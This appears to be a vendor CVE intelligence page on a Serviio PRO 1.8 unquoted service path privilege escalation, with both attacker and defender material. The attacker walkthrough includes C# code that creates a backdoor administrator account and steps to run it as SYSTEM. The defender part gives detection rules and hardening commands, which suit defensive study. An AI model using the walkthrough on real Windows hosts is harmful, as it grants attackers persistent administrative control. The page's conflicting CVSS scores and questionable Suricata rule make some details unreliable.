☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Serviio logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.5 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-428
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2017-20218

CVE-2017-20218 Privilege Escalation in Serviio
📅 PUBLISHED: 2026-03-16 14:17 UTC 🔄 UPDATED: 2026-09-23 20:14 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Czech Republic License: Freemium
VULNERABLE: 1.8
CVSS VECTOR BREAKDOWN 8.5
AV: L Attack Vector Local
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2017-20218 is a high-severity (CVSS 7.8) privilege escalation vulnerability affecting Serviio PRO version 1.8 on Windows. The vulnerability stems from an unquoted service path combined with weak directory permissions, allowing authenticated local users to escalate privileges to SYSTEM. The attack vector is local, requiring low privileges and no user interaction. No official patch has been released, making this a permanent risk for any deployment running this version.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a standalone Windows application vulnerability.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Local (L) – Requires local access to the system.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Attacker needs a standard user account.
  • User Interaction (UI): None (N) – No user action needed.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Full system compromise.
  • Integrity (I): High (H) – Arbitrary code execution.
  • Availability (A): High (H) – Service disruption possible.

Threat Level: High. The vulnerability is trivial to exploit and provides SYSTEM-level access.

Deep Dive & Mechanics

The vulnerability is a classic unquoted service path (CWE-428) combined with weak directory permissions. The Serviio PRO service is configured with a path that contains spaces and is not enclosed in quotes. For example, the service binary might be located at:

C:\Program Files\Serviio PRO\serviio.exe

When Windows starts the service, it interprets the path as:

  1. C:\Program.exe (if found)
  2. C:\Program Files\Serviio.exe (if found)
  3. C:\Program Files\Serviio PRO\serviio.exe (the intended binary)

If an attacker can place a malicious executable named Program.exe or Serviio.exe in a location that Windows searches before the intended path, the service will execute the attacker's code with SYSTEM privileges.

Additionally, the C:\Program Files\Serviio PRO\ directory has weak permissions, allowing the Users group full access. This means an authenticated user can replace the legitimate serviio.exe with a malicious binary. When the service starts or the system reboots, the malicious binary runs as SYSTEM.

Vulnerable vs. Patched Code

Vulnerable Configuration (Serviio PRO 1.8):

The service is installed with an unquoted path. The service binary path in the registry (HKLM\SYSTEM\CurrentControlSet\Services\Serviio PRO) might look like:

ImagePath: C:\Program Files\Serviio PRO\serviio.exe

Patched Configuration (UNKNOWN):

No official patch exists. A proper fix would involve:

  1. Quoting the service path: "C:\Program Files\Serviio PRO\serviio.exe"
  2. Restricting permissions on the installation directory to only allow Administrators and SYSTEM to modify files.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Local access with a standard user account.
  • The Serviio PRO service is installed and set to auto-start.

Exploitation Steps:

  1. Identify the vulnerable service:

    Get-CimInstance -ClassName Win32_Service | Where-Object {$_.PathName -like '*Serviio*'}
    
  2. Check directory permissions:

    icacls "C:\Program Files\Serviio PRO"
    
  3. Place a malicious executable: Create a reverse shell or add a new admin user. For example, compile a C# executable that adds a user:

    using System;
    using System.Diagnostics;
    
    namespace MaliciousService
    {
        class Program
        {
            static void Main()
            {
                Process.Start("net", "user attacker P@ssw0rd! /add");
                Process.Start("net", "localgroup Administrators attacker /add");
            }
        }
    }
    

    Place the compiled binary as C:\Program.exe or replace C:\Program Files\Serviio PRO\serviio.exe.

  4. Trigger execution:

    • Reboot the system, or
    • Restart the service:
      Restart-Service "Serviio PRO"
      
  5. Verify privilege escalation:

    whoami
    

    Output should be nt authority\system.

Blue Team

Detection Steps:

  1. Monitor service path changes:

    • Enable auditing on HKLM\SYSTEM\CurrentControlSet\Services\Serviio PRO.
    • Alert on any modification to the ImagePath value.
  2. Check for unquoted service paths:

    Get-CimInstance -ClassName Win32_Service | Where-Object {$_.PathName -notlike '"*' -and $_.PathName -like '* *'}
    
  3. Audit directory permissions:

    icacls "C:\Program Files\Serviio PRO" | Out-File -FilePath C:\audit\serviio_perms.txt
    
  4. Monitor process creation:

    • Look for Program.exe or Serviio.exe spawned from C:\ or C:\Program Files\.
    • Alert on unexpected child processes of the Serviio service.

Indicators of Compromise (IOCs)

  • File Indicators:

    • C:\Program.exe (malicious)
    • C:\Program Files\Serviio.exe (malicious)
    • Modified C:\Program Files\Serviio PRO\serviio.exe (hash mismatch)
  • Process Indicators:

    • Program.exe or Serviio.exe running as SYSTEM from unexpected paths.
    • Unusual child processes (e.g., cmd.exe, powershell.exe) spawned by the Serviio service.
  • Registry Indicators:

    • Unquoted ImagePath in HKLM\SYSTEM\CurrentControlSet\Services\Serviio PRO.
  • Network Indicators:

    • Outbound connections from Program.exe or Serviio.exe to unknown IPs (if reverse shell used).

Detection Engineering

YARA Rule

rule CVE_2017_20218_Serviio_Unquoted_Path
{
    meta:
        description = "Detects unquoted service path for Serviio PRO"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2017-20218"
    strings:
        $s1 = "Serviio PRO" nocase
        $s2 = "ImagePath" nocase
        $s3 = "C:\\Program Files\\Serviio PRO" nocase
    condition:
        $s1 and $s2 and $s3
}

Sigma Rule

title: Unquoted Service Path - Serviio PRO
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unquoted service path for Serviio PRO service
author: Valters IT
date: 2025-04-10
tags:
    - attack.privilege_escalation
    - attack.t1574.001
    - cve.2017-20218
logsource:
    category: registry_event
    product: windows
detection:
    selection:
        TargetObject|contains: 'SYSTEM\CurrentControlSet\Services\Serviio PRO'
        Details|contains: 'C:\Program Files\Serviio PRO'
        Details|notcontains: '"'
    condition: selection
falsepositives:
    - Unknown
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2017-20218 Serviio PRO Potential Reverse Shell"; flow:to_server,established; content:"Program.exe"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Quote the service path manually:

    sc config "Serviio PRO" binPath="\"C:\Program Files\Serviio PRO\serviio.exe\""
    
  2. Restrict directory permissions:

    icacls "C:\Program Files\Serviio PRO" /inheritance:r /grant "SYSTEM:(OI)(CI)F" /grant "Administrators:(OI)(CI)F" /grant "Users:(OI)(CI)RX"
    
  3. Monitor for exploitation attempts using the provided detection rules.

Long-term Fix:

  • Upgrade to a patched version if one becomes available.
  • Consider migrating to an alternative media server solution that is actively maintained.

Valters IT – Securing your digital frontier.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2017-20218/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.